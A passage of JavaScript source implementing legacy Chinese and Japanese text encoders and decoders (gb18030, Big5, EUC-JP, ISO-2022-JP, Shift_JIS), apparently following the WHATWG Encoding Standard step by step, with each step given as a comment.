// 1. If byte is end-of-stream and gb18030 first, gb18030
// second, and gb18030 third are 0x00, return finished.
if (bite === end_of_stream && gb18030_first === 0x00 &&
gb18030_second === 0x00 && gb18030_third === 0x00) {
return finished;
}
// 2. If byte is end-of-stream, and gb18030 first, gb18030
// second, or gb18030 third is not 0x00, set gb18030 first,
// gb18030 second, and gb18030 third to 0x00, and return error.
if (bite === end_of_stream &&
(gb18030_first !== 0x00 || gb18030_second !== 0x00 ||
gb18030_third !== 0x00)) {
gb18030_first = 0x00;
gb18030_second = 0x00;
gb18030_third = 0x00;
decoderError(fatal);
}
var code_point;
// 3. If gb18030 third is not 0x00, run these substeps:
if (gb18030_third !== 0x00) {
// 1. Let code point be null.
code_point = null;
// 2. If byte is in the range 0x30 to 0x39, inclusive, set
// code point to the index gb18030 ranges code point for
// (((gb18030 first − 0x81) × 10 + gb18030 second − 0x30) ×
// 126 + gb18030 third − 0x81) × 10 + byte − 0x30.
if (inRange(bite, 0x30, 0x39)) {
code_point = indexGB18030RangesCodePointFor(
(((gb18030_first - 0x81) * 10 + gb18030_second - 0x30) * 126 +
gb18030_third - 0x81) * 10 + bite - 0x30);
}

// 3. Let buffer be a byte sequence consisting of gb18030
// second, gb18030 third, and byte, in order.
var buffer = [gb18030_second, gb18030_third, bite];

// 4. Set gb18030 first, gb18030 second, and gb18030 third to
// 0x00.
gb18030_first = 0x00;
gb18030_second = 0x00;
gb18030_third = 0x00;

// 5. If code point is null, prepend buffer to stream and
// return error.
if (code_point === null) {
stream.prepend(buffer);
return decoderError(fatal);
}

// 6. Return a code point whose value is code point.
return code_point;
}

// 4. If gb18030 second is not 0x00, run these substeps:
if (gb18030_second !== 0x00) {

// 1. If byte is in the range 0x81 to 0xFE, inclusive, set
// gb18030 third to byte and return continue.
if (inRange(bite, 0x81, 0xFE)) {
gb18030_third = bite;
return null;
}

// 2. Prepend gb18030 second followed by byte to stream, set
// gb18030 first and gb18030 second to 0x00, and return error.
stream.prepend([gb18030_second, bite]);
gb18030_first = 0x00;
gb18030_second = 0x00;
return decoderError(fatal);
}

// 5. If gb18030 first is not 0x00, run these substeps:
if (gb18030_first !== 0x00) {

// 1. If byte is in the range 0x30 to 0x39, inclusive, set
// gb18030 second to byte and return continue.
if (inRange(bite, 0x30, 0x39)) {
gb18030_second = bite;
return null;
}

// 2. Let lead be gb18030 first, let pointer be null, and set
// gb18030 first to 0x00.
var lead = gb18030_first;
var pointer = null;
gb18030_first = 0x00;

// 3. Let offset be 0x40 if byte is less than 0x7F and 0x41
// otherwise.
var offset = bite < 0x7F ? 0x40 : 0x41;

// 4. If byte is in the range 0x40 to 0x7E, inclusive, or 0x80
// to 0xFE, inclusive, set pointer to (lead − 0x81) × 190 +
// (byte − offset).
if (inRange(bite, 0x40, 0x7E) || inRange(bite, 0x80, 0xFE))
pointer = (lead - 0x81) * 190 + (bite - offset);

// 5. Let code point be null if pointer is null and the index
// code point for pointer in index gb18030 otherwise.
code_point = pointer === null ? null :
indexCodePointFor(pointer, index('gb18030'));

// 6. If code point is null and byte is an ASCII byte, prepend
// byte to stream.
if (code_point === null && isASCIIByte(bite))
stream.prepend(bite);

// 7. If code point is null, return error.
if (code_point === null)
return decoderError(fatal);

// 8. Return a code point whose value is code point.
return code_point;
}

// 6. If byte is an ASCII byte, return a code point whose value
// is byte.
if (isASCIIByte(bite))
return bite;

// 7. If byte is 0x80, return code point U+20AC.
if (bite === 0x80)
return 0x20AC;

// 8. If byte is in the range 0x81 to 0xFE, inclusive, set
// gb18030 first to byte and return continue.
if (inRange(bite, 0x81, 0xFE)) {
gb18030_first = bite;
return null;
}

// 9. Return error.
return decoderError(fatal);
};
}

// 11.2.2 gb18030 encoder
/**
* @constructor
* @implements {Encoder}
* @param {{fatal: boolean}} options
* @param {boolean=} gbk_flag
*/
function GB18030Encoder(options, gbk_flag) {
var fatal = options.fatal;
// gb18030's decoder has an associated gbk flag (initially unset).
/**
* @param {Stream} stream Input stream.
* @param {number} code_point Next code point read from the stream.
* @return {(number|!Array.<number>)} Byte(s) to emit.
*/
this.handler = function(stream, code_point) {
// 1. If code point is end-of-stream, return finished.
if (code_point === end_of_stream)
return finished;

// 2. If code point is an ASCII code point, return a byte whose
// value is code point.
if (isASCIICodePoint(code_point))
return code_point;

// 3. If code point is U+E5E5, return error with code point.
if (code_point === 0xE5E5)
return encoderError(code_point);

// 4. If the gbk flag is set and code point is U+20AC, return
// byte 0x80.
if (gbk_flag && code_point === 0x20AC)
return 0x80;

// 5. Let pointer be the index pointer for code point in index
// gb18030.
var pointer = indexPointerFor(code_point, index('gb18030'));

// 6. If pointer is not null, run these substeps:
if (pointer !== null) {

// 1. Let lead be floor(pointer / 190) + 0x81.
var lead = floor(pointer / 190) + 0x81;

// 2. Let trail be pointer % 190.
var trail = pointer % 190;

// 3. Let offset be 0x40 if trail is less than 0x3F and 0x41 otherwise.
var offset = trail < 0x3F ? 0x40 : 0x41;

// 4. Return two bytes whose values are lead and trail + offset.
return [lead, trail + offset];
}

// 7. If gbk flag is set, return error with code point.
if (gbk_flag)
return encoderError(code_point);

// 8. Set pointer to the index gb18030 ranges pointer for code
// point.
pointer = indexGB18030RangesPointerFor(code_point);

// 9. Let byte1 be floor(pointer / 10 / 126 / 10).
var byte1 = floor(pointer / 10 / 126 / 10);

// 10. Set pointer to pointer − byte1 × 10 × 126 × 10.
pointer = pointer - byte1 * 10 * 126 * 10;

// 11. Let byte2 be floor(pointer / 10 / 126).
var byte2 = floor(pointer / 10 / 126);

// 12. Set pointer to pointer − byte2 × 10 × 126.
pointer = pointer - byte2 * 10 * 126;

// 13. Let byte3 be floor(pointer / 10).
var byte3 = floor(pointer / 10);

// 14. Let byte4 be pointer − byte3 × 10.
var byte4 = pointer - byte3 * 10;

// 15. Return four bytes whose values are byte1 + 0x81, byte2 +
// 0x30, byte3 + 0x81, byte4 + 0x30.
return [byte1 + 0x81,
byte2 + 0x30,
byte3 + 0x81,
byte4 + 0x30];
};
}

/** @param {{fatal: boolean}} options */
encoders['gb18030'] = function(options) {
return new GB18030Encoder(options);
};
/** @param {{fatal: boolean}} options */
decoders['gb18030'] = function(options) {
return new GB18030Decoder(options);
};


//
// 12. Legacy multi-byte Chinese (traditional) encodings
//

// 12.1 Big5

// 12.1.1 Big5 decoder
/**
* @constructor
* @implements {Decoder}
* @param {{fatal: boolean}} options
*/
function Big5Decoder(options) {
var fatal = options.fatal;
// Big5's decoder has an associated Big5 lead (initially 0x00).
var /** @type {number} */ Big5_lead = 0x00;

/**
* @param {Stream} stream The stream of bytes being decoded.
* @param {number} bite The next byte read from the stream.
* @return {?(number|!Array.<number>)} The next code point(s)
*     decoded, or null if not enough data exists in the input
*     stream to decode a complete code point.
*/
this.handler = function(stream, bite) {
// 1. If byte is end-of-stream and Big5 lead is not 0x00, set
// Big5 lead to 0x00 and return error.
if (bite === end_of_stream && Big5_lead !== 0x00) {
Big5_lead = 0x00;
return decoderError(fatal);
}

// 2. If byte is end-of-stream and Big5 lead is 0x00, return
// finished.
if (bite === end_of_stream && Big5_lead === 0x00)
return finished;

// 3. If Big5 lead is not 0x00, let lead be Big5 lead, let
// pointer be null, set Big5 lead to 0x00, and then run these
// substeps:
if (Big5_lead !== 0x00) {
var lead = Big5_lead;
var pointer = null;
Big5_lead = 0x00;

// 1. Let offset be 0x40 if byte is less than 0x7F and 0x62
// otherwise.
var offset = bite < 0x7F ? 0x40 : 0x62;

// 2. If byte is in the range 0x40 to 0x7E, inclusive, or 0xA1
// to 0xFE, inclusive, set pointer to (lead − 0x81) × 157 +
// (byte − offset).
if (inRange(bite, 0x40, 0x7E) || inRange(bite, 0xA1, 0xFE))
pointer = (lead - 0x81) * 157 + (bite - offset);

// 3. If there is a row in the table below whose first column
// is pointer, return the two code points listed in its second
// column
// Pointer | Code points
// --------+--------------
// 1133    | U+00CA U+0304
// 1135    | U+00CA U+030C
// 1164    | U+00EA U+0304
// 1166    | U+00EA U+030C
switch (pointer) {
case 1133: return [0x00CA, 0x0304];
case 1135: return [0x00CA, 0x030C];
case 1164: return [0x00EA, 0x0304];
case 1166: return [0x00EA, 0x030C];
}

// 4. Let code point be null if pointer is null and the index
// code point for pointer in index Big5 otherwise.
var code_point = (pointer === null) ? null :
indexCodePointFor(pointer, index('big5'));

// 5. If code point is null and byte is an ASCII byte, prepend
// byte to stream.
if (code_point === null && isASCIIByte(bite))
stream.prepend(bite);

// 6. If code point is null, return error.
if (code_point === null)
return decoderError(fatal);

// 7. Return a code point whose value is code point.
return code_point;
}

// 4. If byte is an ASCII byte, return a code point whose value
// is byte.
if (isASCIIByte(bite))
return bite;

// 5. If byte is in the range 0x81 to 0xFE, inclusive, set Big5
// lead to byte and return continue.
if (inRange(bite, 0x81, 0xFE)) {
Big5_lead = bite;
return null;
}

// 6. Return error.
return decoderError(fatal);
};
}

// 12.1.2 Big5 encoder
/**
* @constructor
* @implements {Encoder}
* @param {{fatal: boolean}} options
*/
function Big5Encoder(options) {
var fatal = options.fatal;
/**
* @param {Stream} stream Input stream.
* @param {number} code_point Next code point read from the stream.
* @return {(number|!Array.<number>)} Byte(s) to emit.
*/
this.handler = function(stream, code_point) {
// 1. If code point is end-of-stream, return finished.
if (code_point === end_of_stream)
return finished;

// 2. If code point is an ASCII code point, return a byte whose
// value is code point.
if (isASCIICodePoint(code_point))
return code_point;

// 3. Let pointer be the index Big5 pointer for code point.
var pointer = indexBig5PointerFor(code_point);

// 4. If pointer is null, return error with code point.
if (pointer === null)
return encoderError(code_point);

// 5. Let lead be floor(pointer / 157) + 0x81.
var lead = floor(pointer / 157) + 0x81;

// 6. If lead is less than 0xA1, return error with code point.
if (lead < 0xA1)
return encoderError(code_point);

// 7. Let trail be pointer % 157.
var trail = pointer % 157;

// 8. Let offset be 0x40 if trail is less than 0x3F and 0x62
// otherwise.
var offset = trail < 0x3F ? 0x40 : 0x62;

// Return two bytes whose values are lead and trail + offset.
return [lead, trail + offset];
};
}

/** @param {{fatal: boolean}} options */
encoders['Big5'] = function(options) {
return new Big5Encoder(options);
};
/** @param {{fatal: boolean}} options */
decoders['Big5'] = function(options) {
return new Big5Decoder(options);
};


//
// 13. Legacy multi-byte Japanese encodings
//

// 13.1 euc-jp

// 13.1.1 euc-jp decoder
/**
* @constructor
* @implements {Decoder}
* @param {{fatal: boolean}} options
*/
function EUCJPDecoder(options) {
var fatal = options.fatal;

// euc-jp's decoder has an associated euc-jp jis0212 flag
// (initially unset) and euc-jp lead (initially 0x00).
var /** @type {boolean} */ eucjp_jis0212_flag = false,
/** @type {number} */ eucjp_lead = 0x00;

/**
* @param {Stream} stream The stream of bytes being decoded.
* @param {number} bite The next byte read from the stream.
* @return {?(number|!Array.<number>)} The next code point(s)
*     decoded, or null if not enough data exists in the input
*     stream to decode a complete code point.
*/
this.handler = function(stream, bite) {
// 1. If byte is end-of-stream and euc-jp lead is not 0x00, set
// euc-jp lead to 0x00, and return error.
if (bite === end_of_stream && eucjp_lead !== 0x00) {
eucjp_lead = 0x00;
return decoderError(fatal);
}

// 2. If byte is end-of-stream and euc-jp lead is 0x00, return
// finished.
if (bite === end_of_stream && eucjp_lead === 0x00)
return finished;

// 3. If euc-jp lead is 0x8E and byte is in the range 0xA1 to
// 0xDF, inclusive, set euc-jp lead to 0x00 and return a code
// point whose value is 0xFF61 − 0xA1 + byte.
if (eucjp_lead === 0x8E && inRange(bite, 0xA1, 0xDF)) {
eucjp_lead = 0x00;
return 0xFF61 - 0xA1 + bite;
}

// 4. If euc-jp lead is 0x8F and byte is in the range 0xA1 to
// 0xFE, inclusive, set the euc-jp jis0212 flag, set euc-jp lead
// to byte, and return continue.
if (eucjp_lead === 0x8F && inRange(bite, 0xA1, 0xFE)) {
eucjp_jis0212_flag = true;
eucjp_lead = bite;
return null;
}

// 5. If euc-jp lead is not 0x00, let lead be euc-jp lead, set
// euc-jp lead to 0x00, and run these substeps:
if (eucjp_lead !== 0x00) {
var lead = eucjp_lead;
eucjp_lead = 0x00;

// 1. Let code point be null.
var code_point = null;

// 2. If lead and byte are both in the range 0xA1 to 0xFE,
// inclusive, set code point to the index code point for (lead
// − 0xA1) × 94 + byte − 0xA1 in index jis0208 if the euc-jp
// jis0212 flag is unset and in index jis0212 otherwise.
if (inRange(lead, 0xA1, 0xFE) && inRange(bite, 0xA1, 0xFE)) {
code_point = indexCodePointFor(
(lead - 0xA1) * 94 + (bite - 0xA1),
index(!eucjp_jis0212_flag ? 'jis0208' : 'jis0212'));
}

// 3. Unset the euc-jp jis0212 flag.
eucjp_jis0212_flag = false;

// 4. If byte is not in the range 0xA1 to 0xFE, inclusive,
// prepend byte to stream.
if (!inRange(bite, 0xA1, 0xFE))
stream.prepend(bite);

// 5. If code point is null, return error.
if (code_point === null)
return decoderError(fatal);

// 6. Return a code point whose value is code point.
return code_point;
}

// 6. If byte is an ASCII byte, return a code point whose value
// is byte.
if (isASCIIByte(bite))
return bite;

// 7. If byte is 0x8E, 0x8F, or in the range 0xA1 to 0xFE,
// inclusive, set euc-jp lead to byte and return continue.
if (bite === 0x8E || bite === 0x8F || inRange(bite, 0xA1, 0xFE)) {
eucjp_lead = bite;
return null;
}

// 8. Return error.
return decoderError(fatal);
};
}

// 13.1.2 euc-jp encoder
/**
* @constructor
* @implements {Encoder}
* @param {{fatal: boolean}} options
*/
function EUCJPEncoder(options) {
var fatal = options.fatal;
/**
* @param {Stream} stream Input stream.
* @param {number} code_point Next code point read from the stream.
* @return {(number|!Array.<number>)} Byte(s) to emit.
*/
this.handler = function(stream, code_point) {
// 1. If code point is end-of-stream, return finished.
if (code_point === end_of_stream)
return finished;

// 2. If code point is an ASCII code point, return a byte whose
// value is code point.
if (isASCIICodePoint(code_point))
return code_point;

// 3. If code point is U+00A5, return byte 0x5C.
if (code_point === 0x00A5)
return 0x5C;

// 4. If code point is U+203E, return byte 0x7E.
if (code_point === 0x203E)
return 0x7E;

// 5. If code point is in the range U+FF61 to U+FF9F, inclusive,
// return two bytes whose values are 0x8E and code point −
// 0xFF61 + 0xA1.
if (inRange(code_point, 0xFF61, 0xFF9F))
return [0x8E, code_point - 0xFF61 + 0xA1];

// 6. If code point is U+2212, set it to U+FF0D.
if (code_point === 0x2212)
code_point = 0xFF0D;

// 7. Let pointer be the index pointer for code point in index
// jis0208.
var pointer = indexPointerFor(code_point, index('jis0208'));

// 8. If pointer is null, return error with code point.
if (pointer === null)
return encoderError(code_point);

// 9. Let lead be floor(pointer / 94) + 0xA1.
var lead = floor(pointer / 94) + 0xA1;

// 10. Let trail be pointer % 94 + 0xA1.
var trail = pointer % 94 + 0xA1;

// 11. Return two bytes whose values are lead and trail.
return [lead, trail];
};
}

/** @param {{fatal: boolean}} options */
encoders['EUC-JP'] = function(options) {
return new EUCJPEncoder(options);
};
/** @param {{fatal: boolean}} options */
decoders['EUC-JP'] = function(options) {
return new EUCJPDecoder(options);
};

// 13.2 iso-2022-jp

// 13.2.1 iso-2022-jp decoder
/**
* @constructor
* @implements {Decoder}
* @param {{fatal: boolean}} options
*/
function ISO2022JPDecoder(options) {
var fatal = options.fatal;
/** @enum */
var states = {
ASCII: 0,
Roman: 1,
Katakana: 2,
LeadByte: 3,
TrailByte: 4,
EscapeStart: 5,
Escape: 6
};
// iso-2022-jp's decoder has an associated iso-2022-jp decoder
// state (initially ASCII), iso-2022-jp decoder output state
// (initially ASCII), iso-2022-jp lead (initially 0x00), and
// iso-2022-jp output flag (initially unset).
var /** @type {number} */ iso2022jp_decoder_state = states.ASCII,
/** @type {number} */ iso2022jp_decoder_output_state = states.ASCII,
/** @type {number} */ iso2022jp_lead = 0x00,
/** @type {boolean} */ iso2022jp_output_flag = false;
/**
* @param {Stream} stream The stream of bytes being decoded.
* @param {number} bite The next byte read from the stream.
* @return {?(number|!Array.<number>)} The next code point(s)
*     decoded, or null if not enough data exists in the input
*     stream to decode a complete code point.
*/
this.handler = function(stream, bite) {
// switching on iso-2022-jp decoder state:
switch (iso2022jp_decoder_state) {
default:
case states.ASCII:
// ASCII
// Based on byte:

// 0x1B
if (bite === 0x1B) {
// Set iso-2022-jp decoder state to escape start and return
// continue.
iso2022jp_decoder_state = states.EscapeStart;
return null;
}

// 0x00 to 0x7F, excluding 0x0E, 0x0F, and 0x1B
if (inRange(bite, 0x00, 0x7F) && bite !== 0x0E
&& bite !== 0x0F && bite !== 0x1B) {
// Unset the iso-2022-jp output flag and return a code point
// whose value is byte.
iso2022jp_output_flag = false;
return bite;
}

// end-of-stream
if (bite === end_of_stream) {
// Return finished.
return finished;
}

// Otherwise
// Unset the iso-2022-jp output flag and return error.
iso2022jp_output_flag = false;
return decoderError(fatal);

case states.Roman:
// Roman
// Based on byte:

// 0x1B
if (bite === 0x1B) {
// Set iso-2022-jp decoder state to escape start and return
// continue.
iso2022jp_decoder_state = states.EscapeStart;
return null;
}

// 0x5C
if (bite === 0x5C) {
// Unset the iso-2022-jp output flag and return code point
// U+00A5.
iso2022jp_output_flag = false;
return 0x00A5;
}

// 0x7E
if (bite === 0x7E) {
// Unset the iso-2022-jp output flag and return code point
// U+203E.
iso2022jp_output_flag = false;
return 0x203E;
}

// 0x00 to 0x7F, excluding 0x0E, 0x0F, 0x1B, 0x5C, and 0x7E
if (inRange(bite, 0x00, 0x7F) && bite !== 0x0E && bite !== 0x0F
&& bite !== 0x1B && bite !== 0x5C && bite !== 0x7E) {
// Unset the iso-2022-jp output flag and return a code point
// whose value is byte.
iso2022jp_output_flag = false;
return bite;
}

// end-of-stream
if (bite === end_of_stream) {
// Return finished.
return finished;
}

// Otherwise
// Unset the iso-2022-jp output flag and return error.
iso2022jp_output_flag = false;
return decoderError(fatal);

case states.Katakana:
// Katakana
// Based on byte:

// 0x1B
if (bite === 0x1B) {
// Set iso-2022-jp decoder state to escape start and return
// continue.
iso2022jp_decoder_state = states.EscapeStart;
return null;
}

// 0x21 to 0x5F
if (inRange(bite, 0x21, 0x5F)) {
// Unset the iso-2022-jp output flag and return a code point
// whose value is 0xFF61 − 0x21 + byte.
iso2022jp_output_flag = false;
return 0xFF61 - 0x21 + bite;
}

// end-of-stream
if (bite === end_of_stream) {
// Return finished.
return finished;
}

// Otherwise
// Unset the iso-2022-jp output flag and return error.
iso2022jp_output_flag = false;
return decoderError(fatal);

case states.LeadByte:
// Lead byte
// Based on byte:

// 0x1B
if (bite === 0x1B) {
// Set iso-2022-jp decoder state to escape start and return
// continue.
iso2022jp_decoder_state = states.EscapeStart;
return null;
}

// 0x21 to 0x7E
if (inRange(bite, 0x21, 0x7E)) {
// Unset the iso-2022-jp output flag, set iso-2022-jp lead
// to byte, iso-2022-jp decoder state to trail byte, and
// return continue.
iso2022jp_output_flag = false;
iso2022jp_lead = bite;
iso2022jp_decoder_state = states.TrailByte;
return null;
}

// end-of-stream
if (bite === end_of_stream) {
// Return finished.
return finished;
}

// Otherwise
// Unset the iso-2022-jp output flag and return error.
iso2022jp_output_flag = false;
return decoderError(fatal);

case states.TrailByte:
// Trail byte
// Based on byte:

// 0x1B
if (bite === 0x1B) {
// Set iso-2022-jp decoder state to escape start and return
// continue.
iso2022jp_decoder_state = states.EscapeStart;
return decoderError(fatal);
}

// 0x21 to 0x7E
if (inRange(bite, 0x21, 0x7E)) {
// 1. Set the iso-2022-jp decoder state to lead byte.
iso2022jp_decoder_state = states.LeadByte;

// 2. Let pointer be (iso-2022-jp lead − 0x21) × 94 + byte − 0x21.
var pointer = (iso2022jp_lead - 0x21) * 94 + bite - 0x21;

// 3. Let code point be the index code point for pointer in
// index jis0208.
var code_point = indexCodePointFor(pointer, index('jis0208'));

// 4. If code point is null, return error.
if (code_point === null)
return decoderError(fatal);

// 5. Return a code point whose value is code point.
return code_point;
}

// end-of-stream
if (bite === end_of_stream) {
// Set the iso-2022-jp decoder state to lead byte, prepend
// byte to stream, and return error.
iso2022jp_decoder_state = states.LeadByte;
stream.prepend(bite);
return decoderError(fatal);
}

// Otherwise
// Set iso-2022-jp decoder state to lead byte and return
// error.
iso2022jp_decoder_state = states.LeadByte;
return decoderError(fatal);

case states.EscapeStart:
// Escape start

// 1. If byte is either 0x24 or 0x28, set iso-2022-jp lead to
// byte, iso-2022-jp decoder state to escape, and return
// continue.
if (bite === 0x24 || bite === 0x28) {
iso2022jp_lead = bite;
iso2022jp_decoder_state = states.Escape;
return null;
}

// 2. Prepend byte to stream.
stream.prepend(bite);

// 3. Unset the iso-2022-jp output flag, set iso-2022-jp
// decoder state to iso-2022-jp decoder output state, and
// return error.
iso2022jp_output_flag = false;
iso2022jp_decoder_state = iso2022jp_decoder_output_state;
return decoderError(fatal);

case states.Escape:
// Escape

// 1. Let lead be iso-2022-jp lead and set iso-2022-jp lead to
// 0x00.
var lead = iso2022jp_lead;
iso2022jp_lead = 0x00;

// 2. Let state be null.
var state = null;

// 3. If lead is 0x28 and byte is 0x42, set state to ASCII.
if (lead === 0x28 && bite === 0x42)
state = states.ASCII;

// 4. If lead is 0x28 and byte is 0x4A, set state to Roman.
if (lead === 0x28 && bite === 0x4A)
state = states.Roman;

// 5. If lead is 0x28 and byte is 0x49, set state to Katakana.
if (lead === 0x28 && bite === 0x49)
state = states.Katakana;

// 6. If lead is 0x24 and byte is either 0x40 or 0x42, set
// state to lead byte.
if (lead === 0x24 && (bite === 0x40 || bite === 0x42))
state = states.LeadByte;

// 7. If state is non-null, run these substeps:
if (state !== null) {
// 1. Set iso-2022-jp decoder state and iso-2022-jp decoder
// output state to states.
iso2022jp_decoder_state = iso2022jp_decoder_state = state;

// 2. Let output flag be the iso-2022-jp output flag.
var output_flag = iso2022jp_output_flag;

// 3. Set the iso-2022-jp output flag.
iso2022jp_output_flag = true;

// 4. Return continue, if output flag is unset, and error
// otherwise.
return !output_flag ? null : decoderError(fatal);
}

// 8. Prepend lead and byte to stream.
stream.prepend([lead, bite]);

// 9. Unset the iso-2022-jp output flag, set iso-2022-jp
// decoder state to iso-2022-jp decoder output state and
// return error.
iso2022jp_output_flag = false;
iso2022jp_decoder_state = iso2022jp_decoder_output_state;
return decoderError(fatal);
}
};
}

// 13.2.2 iso-2022-jp encoder
/**
* @constructor
* @implements {Encoder}
* @param {{fatal: boolean}} options
*/
function ISO2022JPEncoder(options) {
var fatal = options.fatal;
// iso-2022-jp's encoder has an associated iso-2022-jp encoder
// state which is one of ASCII, Roman, and jis0208 (initially
// ASCII).
/** @enum */
var states = {
ASCII: 0,
Roman: 1,
jis0208: 2
};
var /** @type {number} */ iso2022jp_state = states.ASCII;
/**
* @param {Stream} stream Input stream.
* @param {number} code_point Next code point read from the stream.
* @return {(number|!Array.<number>)} Byte(s) to emit.
*/
this.handler = function(stream, code_point) {
// 1. If code point is end-of-stream and iso-2022-jp encoder
// state is not ASCII, prepend code point to stream, set
// iso-2022-jp encoder state to ASCII, and return three bytes
// 0x1B 0x28 0x42.
if (code_point === end_of_stream &&
iso2022jp_state !== states.ASCII) {
stream.prepend(code_point);
iso2022jp_state = states.ASCII;
return [0x1B, 0x28, 0x42];
}

// 2. If code point is end-of-stream and iso-2022-jp encoder
// state is ASCII, return finished.
if (code_point === end_of_stream && iso2022jp_state === states.ASCII)
return finished;

// 3. If ISO-2022-JP encoder state is ASCII or Roman, and code
// point is U+000E, U+000F, or U+001B, return error with U+FFFD.
if ((iso2022jp_state === states.ASCII ||
iso2022jp_state === states.Roman) &&
(code_point === 0x000E || code_point === 0x000F ||
code_point === 0x001B)) {
return encoderError(0xFFFD);
}

// 4. If iso-2022-jp encoder state is ASCII and code point is an
// ASCII code point, return a byte whose value is code point.
if (iso2022jp_state === states.ASCII &&
isASCIICodePoint(code_point))
return code_point;

// 5. If iso-2022-jp encoder state is Roman and code point is an
// ASCII code point, excluding U+005C and U+007E, or is U+00A5
// or U+203E, run these substeps:
if (iso2022jp_state === states.Roman &&
((isASCIICodePoint(code_point) &&
code_point !== 0x005C && code_point !== 0x007E) ||
(code_point == 0x00A5 || code_point == 0x203E))) {

// 1. If code point is an ASCII code point, return a byte
// whose value is code point.
if (isASCIICodePoint(code_point))
return code_point;

// 2. If code point is U+00A5, return byte 0x5C.
if (code_point === 0x00A5)
return 0x5C;

// 3. If code point is U+203E, return byte 0x7E.
if (code_point === 0x203E)
return 0x7E;
}

// 6. If code point is an ASCII code point, and iso-2022-jp
// encoder state is not ASCII, prepend code point to stream, set
// iso-2022-jp encoder state to ASCII, and return three bytes
// 0x1B 0x28 0x42.
if (isASCIICodePoint(code_point) &&
iso2022jp_state !== states.ASCII) {
stream.prepend(code_point);
iso2022jp_state = states.ASCII;
return [0x1B, 0x28, 0x42];
}

// 7. If code point is either U+00A5 or U+203E, and iso-2022-jp
// encoder state is not Roman, prepend code point to stream, set
// iso-2022-jp encoder state to Roman, and return three bytes
// 0x1B 0x28 0x4A.
if ((code_point === 0x00A5 || code_point === 0x203E) &&
iso2022jp_state !== states.Roman) {
stream.prepend(code_point);
iso2022jp_state = states.Roman;
return [0x1B, 0x28, 0x4A];
}

// 8. If code point is U+2212, set it to U+FF0D.
if (code_point === 0x2212)
code_point = 0xFF0D;

// 9. Let pointer be the index pointer for code point in index
// jis0208.
var pointer = indexPointerFor(code_point, index('jis0208'));

// 10. If pointer is null, return error with code point.
if (pointer === null)
return encoderError(code_point);

// 11. If iso-2022-jp encoder state is not jis0208, prepend code
// point to stream, set iso-2022-jp encoder state to jis0208,
// and return three bytes 0x1B 0x24 0x42.
if (iso2022jp_state !== states.jis0208) {
stream.prepend(code_point);
iso2022jp_state = states.jis0208;
return [0x1B, 0x24, 0x42];
}

// 12. Let lead be floor(pointer / 94) + 0x21.
var lead = floor(pointer / 94) + 0x21;

// 13. Let trail be pointer % 94 + 0x21.
var trail = pointer % 94 + 0x21;

// 14. Return two bytes whose values are lead and trail.
return [lead, trail];
};
}

/** @param {{fatal: boolean}} options */
encoders['ISO-2022-JP'] = function(options) {
return new ISO2022JPEncoder(options);
};
/** @param {{fatal: boolean}} options */
decoders['ISO-2022-JP'] = function(options) {
return new ISO2022JPDecoder(options);
};

// 13.3 Shift_JIS

// 13.3.1 Shift_JIS decoder
/**
* @constructor
* @implements {Decoder}
* @param {{fatal: boolean}} options
*/
function ShiftJISDecoder(options) {
var fatal = options.fatal;
// Shift_JIS's decoder has an associated Shift_JIS lead (initially
// 0x00).
var /** @type {number} */ Shift_JIS_lead = 0x00;
/**
* @param {Stream} stream The stream of bytes being decoded.
* @param {number} bite The next byte read from the stream.
* @return {?(number|!Array.<number>)} The next code point(s)
*     decoded, or null if not enough data exists in the input
*     stream to decode a complete code point.
*/
this.handler = function(stream, bite) {
// 1. If byte is end-of-stream and Shift_JIS lead is not 0x00,
// set Shift_JIS lead to 0x00 and return error.
if (bite === end_of_stream && Shift_JIS_lead !== 0x00) {
Shift_JIS_lead = 0x00;
return decoderError(fatal);
}

// 2. If byte is end-of-stream and Shift_JIS lead is 0x00,
// return finished.
if (bite === end_of_stream && Shift_JIS_lead === 0x00)
return finished;

// 3. If Shift_JIS lead is not 0x00, let lead be Shift_JIS lead,
// let pointer be null, set Shift_JIS lead to 0x00, and then run
// these substeps:
if (Shift_JIS_lead !== 0x00) {
var lead = Shift_JIS_lead;
var pointer = null;
Shift_JIS_lead = 0x00;

// 1. Let offset be 0x40, if byte is less than 0x7F, and 0x41
// otherwise.
var offset = (bite < 0x7F) ? 0x40 : 0x41;

// 2. Let lead offset be 0x81, if lead is less than 0xA0, and
// 0xC1 otherwise.
var lead_offset = (lead < 0xA0) ? 0x81 : 0xC1;

// 3. If byte is in the range 0x40 to 0x7E, inclusive, or 0x80
// to 0xFC, inclusive, set pointer to (lead − lead offset) ×
// 188 + byte − offset.
if (inRange(bite, 0x40, 0x7E) || inRange(bite, 0x80, 0xFC))
pointer = (lead - lead_offset) * 188 + bite - offset;

// 4. If pointer is in the range 8836 to 10715, inclusive,
// return a code point whose value is 0xE000 − 8836 + pointer.
if (inRange(pointer, 8836, 10715))
return 0xE000 - 8836 + pointer;

// 5. Let code point be null, if pointer is null, and the
// index code point for pointer in index jis0208 otherwise.
var code_point = (pointer === null) ? null :
indexCodePointFor(pointer, index('jis0208'));

// 6. If code point is null and byte is an ASCII byte, prepend
// byte to stream.
if (code_point === null && isASCIIByte(bite))
stream.prepend(bite);

// 7. If code point is null, return error.
if (code_point === null)
return decoderError(fatal);

// 8. Return a code point whose value is code point.
return code_point;
}

// 4. If byte is an ASCII byte or 0x80, return a code point
// whose value is byte.
if (isASCIIByte(bite) || bite === 0x80)
return bite;

// 5. If byte is in the range 0xA1 to 0xDF, inclusive, return a
// code point whose value is 0xFF61 − 0xA1 + byte.
if (inRange(bite, 0xA1, 0xDF))
return 0xFF61 - 0xA1 + bite;

// 6. If byte is in the range 0x81 to 0x9F, inclusive, or 0xE0
// to 0xFC, inclusive, set Shift_JIS lead to byte and return
// continue.
if (inRange(bite, 0x81, 0x9F) || inRange(bite, 0xE0, 0xFC)) {
Shift_JIS_lead = bite;
return null;
}

// 7. Return error.
return decoderError(fatal);
};
}

// 13.3.2 Shift_JIS encoder
/**
* @constructor
* @implements {Encoder}
* @param {{fatal: boolean}} options
*/
function ShiftJISEncoder(options) {
var fatal = options.fatal;
/**
* @param {Stream} stream Input stream.
* @param {number} code_point Next code point read from the stream.
* @return {(number|!Array.<number>)} Byte(s) to emit.
*/
this.handler = function(stream, code_point) {
// 1. If code point is end-of-stream, return finished.
if (code_point === end_of_stream)
return finished;

// 2. If code point is an ASCII code point or U+0080, return a
// byte whose value is code point.
if (isASCIICodePoint(code_point) || code_point === 0x0080)
return code_point;

// 3. If code point is U+00A5, return byte 0x5C.
if (code_point === 0x00A5)
return 0x5C;

// 4. If code point is U+203E, return byte 0x7E.
if (code_point === 0x203E)
return 0x7E;

